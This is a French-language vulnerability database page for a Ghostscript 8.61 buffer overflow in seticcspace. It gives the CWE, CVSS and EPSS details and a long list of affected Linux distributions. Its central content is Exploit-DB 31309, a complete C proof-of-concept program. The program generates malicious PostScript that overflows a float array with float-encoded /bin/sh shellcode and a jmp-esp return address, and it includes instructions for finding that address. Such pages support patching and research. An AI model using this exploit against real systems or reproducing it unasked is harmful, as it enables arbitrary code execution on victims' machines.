Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Metrics
Metric |
Score |
Sévérité |
CVSS Vecteur |
Source |
V2 |
6.8 |
|
AV:N/AC:M/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 31309
Date de publication : 2008-02-26 23:00 +00:00
Auteur : Will Drewry
EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/28017/info
Ghostscript is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.
Successfully exploiting this issue may allow remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts will cause denial-of-service conditions.
/* A proof of concept exploit for ghostscript 8.61 and earlier.
*
* Vulnerability discovered by Chris Evans <
[email protected]>
* Author:
[email protected] (Will Drewry)
*
* Affects: All versions of ghostscript that support .seticcspace.
* Tested on: Ubuntu gs-esp-8.15.2.dfsg.0ubuntu1-0ubuntu1 (x86)
* Ghostscript 8.61 (2007-11-21) (x86)
*
* Discussion:
*
* The vulnerability is in the float vector handling in the seticcspace
* function. zicc.c:seticcspace() allows the user to set the number of
* expected float values (ncomps) in a vector (range_buff). However,
* this vector is statically allocated with the maximum space of 8
* floats. Despite this, the call (dict_floats_array_check_param) to
* populate the array of floats is passed a maximum size of ncomps*2. A
* large payload will result in overflowing this array. Since all the
* values are read in as single precision floating point values, the
* payload must be encoded as floats.
*
* This exploit encodes a basic metasploit-generated exec(/bin/sh) chunk
* of shellcode as a list of floats and prepends the address to a "jmp
* *%esp" in the /usr/bin/gs.
*
* This was tested on gs-esp-8.15.2.dfsg.0ubuntu1-0ubuntu1 package in
* Ubuntu (on a 32-bit-only kernel) and versions up to 8.61
* (2007-11-21) on other distributions.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
unsigned char shellcode[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00"
"\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00\x00\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd\x80";
unsigned char sledpad[] = "\x90\x90\x90"; // maximum sledpad needed
unsigned char spacepad[] = "\x41\x41\x41\x41"; // indicator for fun dumps
float bytes_to_float(unsigned char *bytes) {
float f = 0.0f;
memcpy((void *)&f, bytes, sizeof(float));
return f;
}
unsigned char *build_attack(size_t *attack_size, long a, int padding) {
size_t float_size = sizeof(float);
size_t shellcode_size = sizeof(shellcode) - 1;
size_t sledpad_size = float_size - (shellcode_size % float_size);
size_t pad_size = padding * (sizeof(spacepad) - 1);
unsigned char *attack = NULL, *padded_shellcode = shellcode;
int i,j;
// allocate attack space
*attack_size = shellcode_size + sledpad_size + sizeof(a) + pad_size;
if (*attack_size) attack = malloc(*attack_size);
if (attack == NULL) exit(1);
fprintf(stderr, "sizeof(float) = %d\n", float_size);
fprintf(stderr, "sledpad_size = %d\n", sledpad_size);
fprintf(stderr, "pad_size = %d\n", pad_size);
fprintf(stderr, "attack_size = %d\n", *attack_size);
fprintf(stderr, "address = %p\n", a);
// write out request space padding
for (i = 0; i < pad_size; i += sizeof(spacepad)-1)
memcpy(&attack[i], spacepad, sizeof(spacepad)-1);
// write out the address to a "jmp *%esp"
memcpy(&attack[i], (void *)&a, sizeof(long));
i += sizeof(long);
// pad to ensure that shellcode is divisible by sizeof(float)
if (sledpad_size != float_size){
// build a padded a shellcode
padded_shellcode = malloc(shellcode_size+sledpad_size);
if (padded_shellcode == NULL) exit(1);
memcpy(padded_shellcode, sledpad, sledpad_size);
memcpy(padded_shellcode+sledpad_size, shellcode, shellcode_size);
shellcode_size += sledpad_size;
}
// Copy in the padded shellcode
memcpy(&attack[i], padded_shellcode, shellcode_size);
if (shellcode != padded_shellcode) free(padded_shellcode);
// That's it.
return attack;
}
int main(int argc, char **argv) {
size_t i = 0;
size_t attack_size = 0;
unsigned char *attack = NULL;
// location of jmp *esp in the binary
long address = 0x0;
if (argc != 3){
fprintf(stderr, "Usage: %s <pad count> <addr of jmp *%%esp>\n", argv[0]);
fprintf(stderr, " e.g. %s 15 $((0x8744eff))\n", argv[0]);
fprintf(stderr, "An address can be acquired with:\n");
fprintf(stderr, " objdump -D /usr/bin/gs | grep 'jmp[ \\t]\\+\\*%%esp'\n");
return 1;
}
attack = build_attack(&attack_size, atol(argv[2]), atoi(argv[1]));
// output the bad PS
printf(
"%!PS-Adobe-2.0\n\n"
"<< /DataSource currentfile /N 100 /Range [ ");
// convert the attack to floats
for(i = 0; i <= attack_size - sizeof(float); i += sizeof(float))
printf("%.9g ", bytes_to_float(attack+i));
printf(" ] >> .seticcspace\n");
free(attack);
return 0;
}
Products Mentioned
Configuraton 0
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 4.0
Mandrakesoft>>Mandrake_linux >> Version 2007
Mandrakesoft>>Mandrake_linux >> Version 2007.0_x86_64
Mandrakesoft>>Mandrake_linux >> Version 2007.1
Mandrakesoft>>Mandrake_linux >> Version 2007.1
Mandrakesoft>>Mandrake_linux >> Version 2008.0
Mandrakesoft>>Mandrake_linux >> Version 2008.0
Mandrakesoft>>Mandrake_linux_corporate_server >> Version 3.0
Mandrakesoft>>Mandrake_linux_corporate_server >> Version 4.0
Mandrakesoft>>Mandrakesoft_corporate_server >> Version 3.0_x86_64
Mandrakesoft>>Mandrakesoft_corporate_server >> Version 4.0_x86_64
Redhat>>Desktop >> Version 3.0
Redhat>>Desktop >> Version 4.0
Redhat>>Enterprise_linux >> Version 5
Redhat>>Enterprise_linux >> Version as_3
Redhat>>Enterprise_linux >> Version as_4
Redhat>>Enterprise_linux >> Version es_3
Redhat>>Enterprise_linux >> Version es_4
Redhat>>Enterprise_linux >> Version ws_3
Redhat>>Enterprise_linux >> Version ws_4
Redhat>>Enterprise_linux_desktop >> Version 5
Redhat>>Enterprise_linux_desktop_workstation >> Version 5
Rpath>>Rpath_linux >> Version 1
Suse>>Novell_linux_pos >> Version 9
Suse>>Open_suse >> Version 10.2
Suse>>Open_suse >> Version 10.3
Suse>>Suse_linux >> Version 9.0
Suse>>Suse_linux >> Version 10
Suse>>Suse_linux >> Version 10
Suse>>Suse_linux >> Version 10.1
Suse>>Suse_linux >> Version 10.1
Suse>>Suse_linux >> Version 10.1
Suse>>Suse_open_enterprise_server >> Version 0
Ghostscript>>Ghostscript >> Version To (including) 8.61
Configuraton 0
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 3.1
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 4.0
Debian>>Debian_linux >> Version 4.0
Ghostscript>>Ghostscript >> Version 0
Ghostscript>>Ghostscript >> Version 8.0.1
Ghostscript>>Ghostscript >> Version 8.15
References